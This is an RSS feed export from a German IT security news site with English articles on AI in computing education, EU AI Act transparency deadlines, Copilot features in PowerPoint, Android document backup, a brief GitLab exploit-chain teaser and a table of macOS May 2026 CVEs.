<![CDATA[Team IT Security - 📰 Alle Kategorien]]> de-DE Sun, 02 Aug 2026 01:39:58 +0200 Sun, 02 Aug 2026 01:39:58 +0200 15 2026 Team IT Security lakandor@tsecurity.de (Horus Sirius) lakandor@tsecurity.de (Horus Sirius) IT Security Cybersecurity Nachrichten Team IT Security RSS Generator v2.0 https://tsecurity.de/favicon.ico <![CDATA[Team IT Security - 📰 Alle Kategorien]]> <![CDATA[The AI coding tutor paradox grows as educators scramble to rethink how they test real skills]]> https://tsecurity.de/de/3695259/ai-nachrichten/the-ai-coding-tutor-paradox-grows-as-educators-scramble-to-rethink-how-they-test-real-skills/ https://tsecurity.de/de/3695259/ai-nachrichten/the-ai-coding-tutor-paradox-grows-as-educators-scramble-to-rethink-how-they-test-real-skills/ Sun, 26 Jul 2026 09:10:20 +0200 🔧 AI Nachrichten tsecurity.de Hands examine a neural AI circuit before lines of code using magnifying glasses and tools, symbolizing research and debugging.

An ACM survey of 763 computer science educators from 49 countries shows that 68 percent have already changed their exams because of AI, shifting toward oral exams, proctored tests, and project-based work. Teaching is moving from writing code to understanding it. But nearly half of respondents say they lack proven examples for integrating AI into their courses.

The article The AI coding tutor paradox grows as educators scramble to rethink how they test real skills appeared first on The Decoder.

]]> <![CDATA[Fondazione Piemonte Innova und Confindustria Piemonte: Memorandum of Understanding ...]]> https://tsecurity.de/de/3695014/it-security-nachrichten/fondazione-piemonte-innova-und-confindustria-piemonte-memorandum-of-understanding/ https://tsecurity.de/de/3695014/it-security-nachrichten/fondazione-piemonte-innova-und-confindustria-piemonte-memorandum-of-understanding/ Sun, 26 Jul 2026 06:34:14 +0200 📰 IT Security Nachrichten tsecurity.de Cybersicherheit sind die Prioritätsbereiche für die Unterstützung von KMU.]]> <![CDATA[The EU’s AI transparency deadline is weeks away. Is your enterprise ready?]]> https://tsecurity.de/de/3694779/ai-nachrichten/the-eus-ai-transparency-deadline-is-weeks-away-is-your-enterprise-ready/ https://tsecurity.de/de/3694779/ai-nachrichten/the-eus-ai-transparency-deadline-is-weeks-away-is-your-enterprise-ready/ Sat, 25 Jul 2026 19:50:13 +0200 🔧 AI Nachrichten tsecurity.de

Providers and deployers of AI systems: You only have a couple of weeks left until you must explicitly inform users when they are interacting with AI content.

To assist in the effort, the European Commission (Commission) has published guidelines to help AI deployers get in line with the AI Act’s transparency obligations, which will begin to go into effect on August 2.

After that, companies providing AI systems must alert users when they are interacting with AI. They must also tell users when they have been exposed to deepfakes, “emotion recognition,” or biometric categorization systems, or when they are given AI-manipulated content in matters of “public interests without human review or editorial control.”

Henna Virkkunen, the Commission’s executive VP for tech sovereignty, security and democracy, said in a statement, “with today’s guidelines, the Commission supports the smooth and effective application of the AI Act to make AI systems interacting with people such as chatbots and AI agents and AI content more transparent and trustworthy. These guidelines support providers and deployers in meeting their obligations under the AI Act, while helping citizens know when they are interacting with AI.”

Systems must include machine-readable markers to reveal such content, to reduce “the risk of deception and manipulation” and build public trust in AI.

“Generative systems have collapsed the cost of producing convincing content while the cost of judging it stands where it always stood,” said Sanchit Vir Gogia, chief analyst at Greyhound Research. This requirement is “an attempt to restore friction to that imbalance.”

A company’s non-compliance could result in fines anywhere from €750K (about $856K) to €15M (about $17 million), or even up to 3% of its total worldwide annual revenue.

Transparency requirements

The EU AI Act’s transparency requirements apply to “natural or legal persons,” public authorities, agencies, or other bodies that develop AI systems, or have them developed, and place them on the EU market or into use under their name or trademark. This means all companies, regardless of whether or not they are EU-based.

“Systems placed on the European market, put into service there, or producing outputs used there are inside the field, wherever the developer sits,” Gogia noted.

Applicable systems must be intended to interact directly with “natural persons”; these systems include AI-enabled chatbots or conversational agents, AI companions, or coding agents. However, AI-enabled tools like recommender systems, spam filters, authentication, search and retrieval, transcription, text and code auto-completion, or predictive maintenance do not fall under the rule.

Specific outputs such as AI-generated text, images, video, and audio must contain a machine-readable mark. Deepfakes and public interest-related text created by AI without human review or control must be clearly labeled, however, deepfake content that is “artistic, creative, satirical, or fictional” is largely exempt.

AI content must be marked with one of three labels: “AI,” “Fully AI-generated,” or “Partially AI-modified.” For instance, “Fully AI-generated” applies when news summaries, music, art, or videos have been created without any human oversight (apart from prompting), while “partially AI-modified” could mean a person’s face is swapped into an authentic photograph to create a deepfake.

The three icons are publicly available for free use; enterprises can download zip files in PNG and SVG formats.

Most of the Act’s transparency rules begin to go into effect on August 2. But AI systems placed on the market before then will have some leeway; they must be in compliance by December 2.

However, a four-month allowance “on one obligation, for one population of systems, contingent on one procedural step, is not a strategy,” Gogia emphasized. Enterprises should plan to comply by August 2 and “treat any relief that arrives as margin.”

A consistent code of practice

Along with the transparency guidelines, the Commission has introduced a code of practice that essentially serves as a gesture of good faith. When signed, it can provide “legal certainty” and a “simple and practical” way to demonstrate compliance with the AI Act, according to the Commission. Signatories can also collaborate through the ‘Signatory Taskforce,’ which will share practices and advance technologies around marking and labeling practices.

Providers that choose not to sign must comply through other methods and demonstrate that those methods are “adequate” through assessment by surveillance authorities, according to the Commission.

Non-signatories “keep their flexibility, and will face more case-by-case scrutiny for it,” said Gogia.

Criteria for compliance

Shashi Bellamkonda, principal research director at Info-Tech Research Group, pointed out that the transparency requirements apply to content only when three criteria are met: It has been published, is informative to the public, or is on matters of public interest.

B2B business content or blogs may not need an AI disclosure if they do not meet these criteria, he noted. Also, published text that has undergone human review or is under editorial control does not need to be labeled. Editorial control means that a person must hold the ultimate legal responsibility for the publication of the content.

Many companies like Google, Adobe, and LinkedIn have already established ways to identify images marked as AI-generated. Meta has made it a requirement, but the creator has to add the AI-generated label, Bellamkonda said.

“This is a good move for guardrails around public information, and companies with good compliance and ethical oversight may not have to worry about this,” he noted. But as a general practice, companies should disclose AI-generated content and state whether it has been human reviewed.

Creating a transparency pipeline

Establishing full transparency means identifying who carries the responsibility for the content, whether the marking survives real use, not just testing, and what evidence will defend the decision, Gogia said.

Concerns cluster around responsibility, durability and evidence. Several organizations usually touch one piece of content, and none controls the whole chain, which is why contracts become the “pressure point,” he said. Most current agreements were written to deliver software and say “almost nothing” about provenance persistence, verification access, or evidence retention.

The durability concern is the most difficult, Gogia noted, because marking performs well in controlled settings but “badly in ordinary life.” Meta, for one, said its invisible watermark was designed to survive cropping; a published test, however, found the company’s preview detector missed 55% of cropped images.

“CIOs should ask which platform can actually provide evidence before believing its dashboard,” said Gogia.

Disclosure of AI use must be “clear, distinguishable and accessible,” he emphasized. “A notice buried in lengthy terms, or reachable only through determined clicking, satisfies nobody, least of all a market surveillance authority.”

Sustained compliance is a “living control” requiring a central record of systems, duties and evidence; testing taking place where the user meets the control rather than where the developer built it; and continuous supplier assurance. Enforcement will vary by country, so keep one common baseline with local overlays, Gogia said.

His advice: Inventory every system that talks to people, generates content, or gauges sentiment; classify provider and deployer roles; place disclosures at first interaction; define substantive human review; keep the evidence.

Marks and provenance signals should be tested after content undergoes cropping, compression, translation, transcription, and other editing, Gogia said. A useful audit starts from a real output and follows its “pulse” through generation, editing and publication, identifying at “each beat” the responsible party, the surviving mark, and evidence for exceptions. Missed labels should also be traced for root cause and recurrence.

To ensure compliance, before August 2, enterprises need a prioritized inventory, live disclosures on the highest-risk use cases, and a “named owner for every control,” he noted. In the first 30 days, they should stabilize and test; in the first 90 days, push requirements into procurement processes as a standing discipline. Procurement must secure commitments on marking methods, known failure modes, and evidence access, with explicit notice if/when any of them change.

“The sensible architecture is a common transparency baseline carrying traceability, responsibility, and evidence, with jurisdictional overlays for language, sector rules, and local practice,” Gogia said.

This article originally appeared on CIO.com.

]]> <![CDATA[10 cool things Copilot can do in PowerPoint]]> https://tsecurity.de/de/3694773/ai-nachrichten/10-cool-things-copilot-can-do-in-powerpoint/ https://tsecurity.de/de/3694773/ai-nachrichten/10-cool-things-copilot-can-do-in-powerpoint/ Sat, 25 Jul 2026 19:50:10 +0200 🔧 AI Nachrichten tsecurity.de

Building a presentation can take lots of time. There are design choices to figure out: the slide layouts, fonts, theme colors, and so on. You can use a template to skip this hassle, but you still have to paste your text and other content into the slides and edit it all so that the results are visually appealing.

In PowerPoint, Microsoft’s Copilot AI assistant can now automate the heavy lifting of presentation creation. It can generate a first-draft presentation in minutes, then help you edit it. You can also prompt Copilot to help you quickly understand the contents of a presentation and glean insights from it. Use the tips in this guide to save oodles of time as you create and work with presentations.

Who can use Copilot in PowerPoint

Individuals with a Microsoft 365 Personal, Family, or Premium subscription have access to Copilot from within PowerPoint and other Microsoft 365 apps. Users with a Premium plan have higher Copilot usage allowances and access to advanced AI features.

For business users, it’s more complicated. Organizations with more than 2,000 users must pay for Microsoft 365 Copilot licenses for their users in addition to their regular Microsoft 365 licenses. Users at organizations with fewer than 2,000 users can use Copilot within M365 apps even without the M365 Copilot add-on licenses, but there are limitations in usage, speed, and feature availability.

To see what kind of access you have, log in to Microsoft’s Copilot Chat web hub and look for your name in the lower left corner. If you see “M365 Copilot (Premium)” under your name, you can use Copilot in M365 apps with priority access and advanced features. “M365 Copilot (Basic)” means you can use Copilot in M365 apps with lower-priority access and limited features. If you see “Copilot Chat (Basic)” or nothing below your name, you can’t use Copilot in M365 apps.

(Copilot Chat Basic users do get some Copilot functionality, including the ability to generate presentations, via the Copilot Chat hub. See our Copilot Chat tutorial for details.)

In this article:

Working with Copilot in PowerPoint

First, let’s quickly go over the notable settings of the Copilot sidebar.

When you have a presentation open in PowerPoint, click the Copilot icon; it may be floating at the lower-right corner of your PowerPoint window or parked at the right end of the Ribbon toolbar. The Copilot sidebar will open along the right of the page. You’ll type your prompts to Copilot inside the chat window in this pane.

powerpoint screen with copilot sidebar open on right

The sidebar on the right is where you interact with Copilot in PowerPOint.


Howard Wen / Foundry

Agent mode: By default, Copilot can build a new presentation or make changes to an existing one in the main PowerPoint window. This is known as “agent mode.” To change this so that Copilot can’t take direct action on a presentation (all its responses appear in the sidebar), click the Allow editing button above the chat window and change it to Chat only.

The tips in this guide require that Copilot be in agent mode, so make sure you see Allow editing above the chat window.

Choice of AI model: Behind the scenes, Copilot has access to various genAI models, including different versions of Anthropic Claude and OpenAI GPT.  By default, it decides which model to use based on your prompt. You can set it to use a particular model: click Auto at the upper right of the Copilot pane and select a model from the dropdown that opens.

screenshot of copilot sidebar in powerpoint with models dropdown menu open

You can choose which AI model you want Copilot to use for a request.

Howard Wen / Foundry

The tips in this guide should work fine on the default Auto setting. But feel free to experiment switching to specific models to see which give you the best results for particular tasks.

Important: Remember that generative AI output often includes errors, so always check Copilot’s output for accuracy. (Also see our tips for reducing hallucinations in Copilot.) You’ll likely want to rewrite it in your own voice as you’re reviewing it.

1. Create a presentation template

For many people, the hardest part of creating a presentation is getting started. What types of information should be included on the slides, and in what order? Copilot can give you a leg up by creating the type of presentation you need, with placeholder data that you can later replace with your own.

Start a new presentation, open the Copilot sidebar, and type your prompt into the chat window. It’s best to provide very specific details in your prompt. The more context or details you provide, the more likely Copilot will generate a presentation template that suits your needs.

A good prompt should contain the slide count, subject, audience, and tone. Example:

  • Create a 6-slide presentation for a sales meeting focusing on Q1 revenue. The audience is the sales team, so keep the tone professional and focused on the sales data.

Copilot may ask a series of follow-up questions, such as your preferred visual style and desired level of detail. Then it will generate a presentation template.

screenshot of powerpoint presentation generated by copilot with placeholder data

Copilot generates a presentation with placeholder data and explains its elements.

Howard Wen / Foundry

You can optionally prompt Copilot for revisions, and when you’re happy with the template, swap in your own data.

2. Create a presentation from a document

You can attach a document (such as a Word document, Excel spreadsheet, or PDF) and prompt Copilot to generate a presentation based on its contents. This works best with a structured-format document (such as a business plan, project proposal, or summary report) that contains sections with headings.

Copilot can extract the document’s text and structure to generate the slide content for the new presentation. This can especially be useful for quickly turning a long report into a visually appealing presentation.

In the Copilot pane, click the + icon at the bottom of the chat window. A list of documents that you’ve recently accessed appears. Select the one that you want Copilot to use. Alternatively, click the magnifying glass icon and inside its search box, type a few letters of the filename for the document you want. (Business users with an M365 Copilot license can select up to five files for Copilot to pull from when creating a presentation.)

screenshot of copilot sidebar in powerpoint with a document being attached for copilot to base a presentation on

Attaching a document for Copilot to base a presentation on.

Howard Wen / Foundry

Then in the chat window, you can enter a prompt that’s as simple as “Create a presentation,” although as always, providing more details and context is better. This is especially important for corporate users who reference multiple source files. It’s useful to tell Copilot what data to pull from each document.

Answer any follow-up questions that Copilot asks, and it will then generate the presentation.

screenshot of powerpoint with a presentation generated by copilot from a document

Copilot has generated a professional presentation from a social media marketing campaign document.

Howard Wen / Foundry

Note: Your marketing department may have created one or more branded company templates for Copilot to work from. If that’s the case at your organization, simply open the appropriate company template as your first step. Then you can upload docs and type a prompt as described above. Copilot will create a presentation using the branded template.

3. Add content from a document to a slide

Manually copying text or other content from a document and pasting it into a new slide is a chore. Instead, you can prompt Copilot to extract information directly from a Word document, Excel spreadsheet, or PDF to create new slides.

In the Copilot pane, attach the document using the same steps described in tip 2, then tell Copilot to create a slide from the document. As always, it helps to provide details such as the new slide’s focus or what data to include:

  • Add a slide based on the attached document.
  • Use the attached file to add a slide about the project budget that focuses on Q1 projections.
  • Summarize only the financial section of the attached document as a slide.
screenshot of a slide in powerpoint generated by copilot from spreadsheet data

A new Copilot-generated slide based on data from an Excel spreadsheet.

Howard Wen / Foundry

4. Refine your slide text

A presentation should be visual and display only the core message. Conciseness and proper writing tone are essential for your slides, so that they don’t lose the attention of your audience.

You can prompt Copilot to refine text on an individual slide in various ways, such as rewriting it in a more professional tone or making it more concise. Highlight the text inside a text box on the slide. On the toolbar that appears over the highlighted text, click Edit with Copilot.

On the menu that opens, you can select a preset prompt to refine the text, such as Condense or Make professional. Or, at the top of this menu, you can type a prompt to rewrite the highlighted text.

screenshot of text on a powerpoint slide with copilot dropdown menu includng condense and make professional options

Choose a preset prompt for refining text on a slide or type in your own prompt.

Howard Wen / Foundry

Note that this feature affects all the text inside the text box. To rewrite only a portion of text inside a text box, you must split that portion out into a separate text box.

Alternatively, you can prompt Copilot to analyze your entire presentation and tighten up the wording throughout all of its slides. For example:

  • Make these slides more visual and use less text.

5. Find or create an image

If you have Copilot generate a presentation from an existing Word document that contains images, it will incorporate those images into the presentation. If there are no images in the source document, you can ask Copilot to find or create one and add it to a slide.

To add a stock image or an image from your organization’s brand library, tell Copilot what you’re looking for:

  • Add a stock photo of young adults in a cafe drinking boba tea.
  • Add a photo from our asset library of young adults in a cafe drinking boba tea.

To have Copilot create an image using Microsoft’s Designer image generation tool, describe your desired image. As always, specificity is helpful:

  • Create a photorealistic image of a diverse group of 5 or 6 fashionable young adults sitting in a cafe drinking boba tea. They’re smiling or laughing, and some are looking at their phones.
screenshot of image generation prompt in copilot sidebar in powerpoint plus the resulting generated image on a slide

Copilot in PowerPoint hooks into Microsoft’s Designer tool for image generation.

Howard Wen / Foundry

Just as you need to review any text output from Copilot, take a close look at generated images to be sure nothing looks off.

Also note that Copilot image generation isn’t always reliable in PowerPoint. For some time during our testing for this story, Copilot said it couldn’t create an image because “the image generation service is returning a server error on every attempt.” After about a day and a half, the service began working again.

6. Expand your presentation with relevant slides

As you’re building your presentation, you may find that it’s become text heavy. Or perhaps it could use more visually oriented slides to break things up and make its progression flow better. Copilot can generate and insert new slides that are based on the content of the slides already in the presentation.

In the Copilot pane, specify exactly where you want the new slide to go. This helps Copilot to analyze the content of the slides before and after where you want the new slide. Then it can generate a slide to bridge between the two slides. Examples:

  • Add a slide after slide 3 about our competitive advantages.
  • Add a slide after slide 11 that transitions to slide 12.
screenshot of powerpoint screen with copilot sidebar and a transition slide generated by copilot

Need a transition slide? Just ask!

Howard Wen / Foundry

7. Summarize a presentation

Maybe you need a quick refresh of your presentation before an important meeting. Or maybe a co-worker has sent you a presentation that’s packed with lots of slides. You can prompt Copilot to generate a summary of the presentation’s overall messaging.

In the Copilot pane, just type “summarize this presentation.” You can also have Copilot flag key slides that contain important information: “show me key slides.”

screenshots of copilot sidebar in powerpoint - one with summarize results and one with key slides response

Ask Copilot to summarize a presentation or flag key slides.

Howard Wen / Foundry

8. Answer questions about a presentation

As you’re reviewing a presentation, especially one that you didn’t create and are not familiar with, you can get Copilot to pull key data points from its slides.

In the Copilot pane, type specific informational questions. Examples:

  • What are the action items in this deck?
  • What is the proposed budget mentioned here?

If Copilot can’t find the exact answer to the question you ask, it will provide related information from the presentation.

screenshot of copilot sidebar in powerpoint with response to query about proposed budget in the slide deck

Ask Copilot specific questions about the contents of a presentation.

Howard Wen / Foundry

This method can also help you validate that your presentation includes everything you want it to. If you ask Copilot about the action items in a presentation and it can’t find any, you know you need to add them. (Copilot will likely offer to generate them for you based on the rest of the slides.)

You can even take this tactic a step further and ask Copilot if the presentation is missing any important data, if any slides are weak or confusing, if there are any awkward transitions, if there are key points that should be better emphasized, and so on.

9. Help you navigate a large presentation

In the business world, presentations with dozens of slides are not uncommon, such as for financial reports or project documentation. Trying to find a specific slide or multiple slides can be tough. Copilot can help you navigate such a presentation.

In the Copilot pane, prompt Copilot to find slides based on specific topics. Example:

  • Show me the slides about the project timeline.

Copilot will analyze the presentation and reply with a list of links to the relevant slides. Click one of these to jump directly to that slide.

screenshot of copilot sidebar in powerpoint with response about the slide that talks about target audience

Copilot can help you zoom directly to a slide that covers a particular topic or shows specific data.

Howard Wen / Foundry

10. Generate speaker notes and/or an FAQ

Here’s a great timesaver when you’re preparing to show your presentation to an audience: Copilot can automatically generate suggested speaker notes for you, based on the content of your slides. Example prompt:

  • Write speaker notes for every slide with one talking point per slide.
screenshot of powerpoint presentation with speaker notes generated by copilot

Copilot can create speaker notes in seconds.

Howard Wen / Foundry

In a related feature, Copilot can create a frequently asked questions list (FAQ) for you to consult in your speaker notes or to present as a slide:

  • Write an FAQ for these slides.

Copilot will ask where you want the questions and answers added — as a new slide at the end, integrated into the speaker notes of relevant slides, or somewhere else that you designate. Make a selection, and Copilot will generate the FAQ based on the content of your presentation.

screenshot of frequently asked questions slide generated by copilot in powerpoint

A Copilot-generated FAQ slide.

Howard Wen / Foundry

Related reading:

]]> <![CDATA[Your instant Android backup upgrade]]> https://tsecurity.de/de/3694774/ai-nachrichten/your-instant-android-backup-upgrade/ https://tsecurity.de/de/3694774/ai-nachrichten/your-instant-android-backup-upgrade/ Sat, 25 Jul 2026 19:50:10 +0200 🔧 AI Nachrichten tsecurity.de

Here in this high-tech era of 2026, keeping important info backed up and synced should be effortless and something that just happens on its own, automatically, without any actual thought or ongoing human effort.

In many areas of our digital life, that mercifully does Just Work™ in exactly that way. Fire up an email in most modern mail services, and you can stop at any point and find your in-progress draft in that same app on any other device. The same applies to any file you’re finessing within Google Drive or other cloud storage services or document you’re dawdling over in Docs.

One area where seamless syncing somehow still doesn’t occur, though, is in the domain of downloaded documents on Android. If someone sends you a PDF or a Word file and you save it to your phone, that file exists in an archaic-seeming silo — only locally, on that one gadget. And that, of course, means (a) you can’t access it from any other device, and (b) if you misplace your phone or move into a new one at some point along the way, the file will be left behind in time and entirely unavailable.

Well, take a moment to join me in celebration: Amidst all the Gemini gobbledegook that no one asked for (and that often falls somewhere between “pointless” and “actively counterproductive”), Google’s giving us a major upgrade to Android’s backup capabilities right now. It’s a simple-seeming switch buried in your system settings, and it’s up to you to find and activate it.

Once you do, though, those once-orphaned documents on your Android device’s local storage will be perpetually synced and protected, automatically, without any ongoing thought or effort.

All you’ve gotta do is find and flip that one new switch.

[Don’t let yourself miss an ounce of Android Intelligence. Join my free weekly Android Intelligence newsletter and get one new thing to try in your inbox every Friday!]

The Android backup lowdown

So, for a quick bit of pertinent context on this: Android’s backup systems have actually come a really long way over the years.

‘Twas a time, y’see, when little to nothing about you would sync and carry over automatically from one Android device to another. Years ago — back in the ancient-seeming prehistoric era of the early 2010s — Android enthusiasts in the know would rely on community-created third-party apps for everything from remembering and resyncing downloaded apps to restoring data from within those apps and onward. And reconfiguring your system preferences would be a whole time-consuming song and dance every single time you reset a device or moved into a new one, as little to nothing would automatically carry over.

Most of that stuff is now effortless and automatic. And, thanks to apps like Google Messages, Calendar, Drive, and Docs, many other areas of important data are also synced on their own at the app level — outside of any system mechanisms.

Locally stored files, however, have remained an awkward omission. To this day, anything you download on any Android device exists only on that one device and isn’t synced or backed up anywhere. The only way that happens is — in a blast-from-the-past twist — if you go out of your way to find and set up a third-party app to handle the heavy lifting.

That brings us to today. Right now, as we speak, Google’s in the midst of sending out a quiet under-the-hood update that (brace yourself…) adds in the option to automatically sync and back up any documents on your device as a native part of Android’s backup setup.

See?

Android backup documents
The easily overlooked new option for backing up documents on Android.

JR Raphael, Foundry

The option is on its way to all devices running 2018’s Android 9 release and higher. (If you’re still using a phone with an Android version older than that, you’re now a whopping eight years out of date, and you have much bigger problems.)

Once the added option is present and available for you, you’re literally lookin’ at 10 seconds to find and activate it.

Lemme show ya how.

Android’s document backup addition

I promise: This couldn’t be much simpler.

No matter what kind of Android device is in front of you, just head into your system settings and open the section called “Accounts and backup,” “Back up or copy data,” or something along those same lines. (The exact wording can vary based on who made your device and when it was released or last updated.)

Either tap the line labeled “Google Backup” or look for an option to “Back up data” via Google Drive. You should then either see a series of options for different areas of available backup right then and there — or, depending on your device, you might have to tap a line labeled “Other device data” (or something similar) to find the full list of possibilities.

However you get there, once you’re lookin’ at that list, you’ll see a newly added line for “Documents” if this latest under-the-hood update has reached you.

Android backup options
Android’s expanded list of backup options — now including documents alongside other forms of on-device data.

JR Raphael, Foundry

And from there, all that’s left is to tap it and enable the switch to include that in your automated backups from that moment forward.

If you aren’t seeing the option yet, don’t panic. Google always sends these under-the-hood updates out bit by bit over time, so the change probably just hasn’t reached your device quite yet. As long as you’re running Android 9 or higher, it’ll get there. Set yourself a reminder to check back once a week or so. Odds are, you’ll see it pretty soon.

Notably, all documents synced in this way are always encrypted for security, and they’re kept in your personal (or, depending on the nature of your account, perhaps company-connected) Google Drive storage. That does mean they’ll count against your overall Google storage total, so keep an eye on your Drive storage total to make sure you’re in solid shape and look to the Google One storage hub if you ever want some simple suggestions for freeing up space.

Speaking of other Google services: If you ever want to keep other types of locally stored non-document files from an Android device synced and available elsewhere, you can easily rely on Google Photos for syncing screenshots and other images — after enabling sync in general, be sure to look in the app’s “Collections” areas to find the “On this device” folder and then flip the toggle to “Backup all device folders” (or get more nuanced and open specific individual on-device folders if you want to sync some but not all of those areas) — and you can still turn to those aforementioned third-party apps for broader syncing of anything else imaginable.

But with documents now being handled automatically and natively, that’s one big worry now out of your hair. Just note that the onus will fall on you to find and flip the switch and actively opt in to the feature on each and every Android device you’re using.

Take 10 seconds to do that, though, and you’ll have one less void in your Android data arena. And you don’t need Gemini to tell you that that can only be a good thing.

Get practical Android knowledge in your inbox every Friday with my free Android Intelligence newsletter — one new thing to try each week, straight from me to you.

]]> <![CDATA[GitLab Vulnerabilities Allow Attackers to Execute Remote Code on Default GitLab Installations]]> https://tsecurity.de/de/3694685/it-security-nachrichten/gitlab-vulnerabilities-allow-attackers-to-execute-remote-code-on-default-gitlab-installations/ https://tsecurity.de/de/3694685/it-security-nachrichten/gitlab-vulnerabilities-allow-attackers-to-execute-remote-code-on-default-gitlab-installations/ Sat, 25 Jul 2026 19:42:38 +0200 📰 IT Security Nachrichten tsecurity.de A newly disclosed exploit chain in GitLab shows how two long-buried memory-safety flaws in a Ruby JSON parsing library, Oj, could be combined to achieve remote code execution on default GitLab installations, exposing source code, Rails secrets, and internal services. As part of the Open Defense Initiative, Depthfirst researcher Yuhang Wu used the automated analysis […]

The post GitLab Vulnerabilities Allow Attackers to Execute Remote Code on Default GitLab Installations appeared first on Cyber Security News.

]]> <![CDATA[The Apple macOS Security Update Review]]> https://tsecurity.de/de/3694569/hacking/the-apple-macos-security-update-review/ https://tsecurity.de/de/3694569/hacking/the-apple-macos-security-update-review/ Sat, 25 Jul 2026 19:02:56 +0200 🕵️ Hacking tsecurity.de We’ve received some feedback from those who read the Patch Blog that they would like something similar for macOS updates. Unfortunately, Apple doesn’t schedule these for a particular day, but we can provide our thoughts and analysis on the days they do release their latest patches.

For May 2026, Apple released 82 unique CVEs across the three macOS versions: 79 for macOS Tahoe 26.5, 45 for macOS Sequoia 15.7.7, and 42 for macOS Sonoma 14.8.7. Since Apple doesn’t provide CVSS scores or other severity information, we’re left to speculate on which of these bugs is the most severe. However, there are a couple that stand out.

-              CVE-2026-28819 (Wi-Fi) stands out as the strongest candidate for the most severe as it states, “An app may be able to execute arbitrary code with kernel privileges.” The combination of arbitrary code execution at the kernel level is about as bad as it gets on a severity scale. Plus, it affects all three macOS versions (Tahoe, Sequoia, and Sonoma).

-              CVE-2026-43668 (mDNSResponder) also piques my interest since, “A remote attacker may be able to cause unexpected system termination or corrupt kernel memory.” The remote attack vector with kernel memory corruption on all three OS versions makes this a serious one, especially since mDNSResponder is always running.

-              CVE-2026-28972 (Kernel) This one states that “An app may be able to cause unexpected system termination or write kernel memory.” An out-of-bounds write directly into kernel memory on all three OS versions. This one may also have implications in the upcoming Pwn2Own Berlin contest.

Here’s a look at all the bugs released by Apple this month:

82Unique CVEs 79macOS Tahoe 26.5 45macOS Sequoia 15.7.7 42macOS Sonoma 14.8.7
CVE ID Component Impact macOS Tahoe 26.5 macOS Sequoia 15.7.7 macOS Sonoma 14.8.7
CVE-2026-28991 Accelerate An app may be able to cause a denial-of-service Yes No No
CVE-2026-28988 Accounts An app may be able to bypass certain Privacy preferences Yes No No
CVE-2026-28959 APFS An app may be able to cause unexpected system termination Yes Yes Yes
CVE-2026-28995 App Intents A malicious app may be able to break out of its sandbox Yes No No
CVE-2026-1837 AppleJPEG Processing a maliciously crafted image may lead to a denial-of-service Yes No No
CVE-2026-28956 AppleJPEG Processing a maliciously crafted media file may lead to unexpected app termination or corrupt process memory Yes Yes Yes
CVE-2026-39869 Audio Processing an audio stream in a maliciously crafted media file may terminate the process Yes Yes Yes
CVE-2026-28922 CoreMedia An app may be able to access private information Yes Yes Yes
CVE-2026-28936 CoreServices Processing a maliciously crafted file may lead to unexpected app termination Yes No Yes
CVE-2026-28918 CoreSymbolication Parsing a maliciously crafted file may lead to an unexpected app termination Yes No No
CVE-2026-28878 Crash Reporter An app may be able to enumerate a user's installed apps No Yes No
CVE-2026-28915 CUPS An app may be able to gain root privileges Yes Yes Yes
CVE-2026-43659 FileProvider An app may be able to access sensitive user data Yes Yes Yes
CVE-2026-28923 GPU Drivers A malicious app may be able to break out of its sandbox Yes Yes Yes
CVE-2026-28925 HFS An app may be able to cause unexpected system termination or write kernel memory Yes Yes Yes
CVE-2025-43524 Icons An app may be able to break out of its sandbox No Yes Yes
CVE-2026-43661 ImageIO Processing a maliciously crafted image may corrupt process memory Yes No No
CVE-2026-28977 ImageIO Processing a maliciously crafted file may lead to unexpected app termination Yes Yes Yes
CVE-2026-28990 ImageIO Processing a maliciously crafted image may corrupt process memory Yes Yes Yes
CVE-2026-28978 Installer A malicious app may be able to break out of its sandbox Yes Yes Yes
CVE-2026-28992 IOHIDFamily An attacker may be able to cause unexpected app termination Yes Yes Yes
CVE-2026-28943 IOHIDFamily An app may be able to determine kernel memory layout Yes Yes Yes
CVE-2026-28969 IOKit An app may be able to cause unexpected system termination Yes Yes Yes
CVE-2026-43655 IOSurfaceAccelerator An app may be able to cause unexpected system termination or read kernel memory Yes No No
CVE-2026-43654 Kernel An app may be able to disclose kernel memory Yes Yes Yes
CVE-2026-28908 Kernel An app may be able to modify protected parts of the file system Yes Yes Yes
CVE-2026-28954 Kernel A maliciously crafted disk image may bypass Gatekeeper checks Yes Yes Yes
CVE-2026-28897 Kernel A local user may be able to cause unexpected system termination or read kernel memory Yes Yes Yes
CVE-2026-28952 Kernel An app may be able to cause unexpected system termination Yes Yes Yes
CVE-2026-28951 Kernel An app may be able to gain root privileges Yes Yes Yes
CVE-2026-28972 Kernel An app may be able to cause unexpected system termination or write kernel memory Yes Yes Yes
CVE-2026-28986 Kernel An app may be able to cause unexpected system termination Yes Yes Yes
CVE-2026-28987 Kernel An app may be able to leak sensitive kernel state Yes Yes Yes
CVE-2026-28983 LaunchServices A remote attacker may be able to cause a denial of service Yes No No
CVE-2026-28929 Mail Drafts Replying to an email could display remote images in Mail in Lockdown Mode Yes Yes Yes
CVE-2026-43653 mDNSResponder An attacker on the local network may be able to cause a denial-of-service Yes No Yes
CVE-2026-28985 mDNSResponder An attacker on the local network may be able to cause a denial-of-service Yes No No
CVE-2026-43668 mDNSResponder A remote attacker may be able to cause unexpected system termination or corrupt kernel memory Yes Yes Yes
CVE-2026-43666 mDNSResponder An attacker on the local network may be able to cause a denial-of-service Yes Yes Yes
CVE-2026-28941 Model I/O Processing a maliciously crafted file may lead to a denial-of-service or potentially disclose memory contents Yes Yes No
CVE-2026-28940 Model I/O Processing a maliciously crafted image may corrupt process memory Yes Yes No
CVE-2026-28961 Network Extensions An attacker with physical access to a locked device may be able to view sensitive user information Yes No No
CVE-2026-28906 Networking An attacker may be able to track users through their IP address Yes Yes Yes
CVE-2026-28840 PackageKit An app may be able to gain root privileges No Yes Yes
CVE-2026-43656 Quick Look Parsing a maliciously crafted file may lead to an unexpected app termination Yes Yes Yes
CVE-2026-43652 Sandbox An app may be able to access protected user data Yes No No
CVE-2026-39870 SceneKit Processing a maliciously crafted image may corrupt process memory Yes Yes Yes
CVE-2026-28846 SceneKit A remote attacker may be able to cause unexpected app termination Yes Yes Yes
CVE-2026-28993 Shortcuts An app may be able to access user-sensitive data Yes Yes Yes
CVE-2026-28848 SMB A remote attacker may be able to cause unexpected system termination Yes Yes No
CVE-2026-28930 Spotlight An app may be able to access protected user data Yes No No
CVE-2026-28974 Spotlight An app may be able to cause a denial-of-service Yes Yes No
CVE-2026-28996 Storage An app may be able to access sensitive user data Yes Yes Yes
CVE-2026-28919 StorageKit An app may be able to gain root privileges Yes Yes Yes
CVE-2026-28924 Sync Services An app may be able to access Contacts without user consent Yes Yes Yes
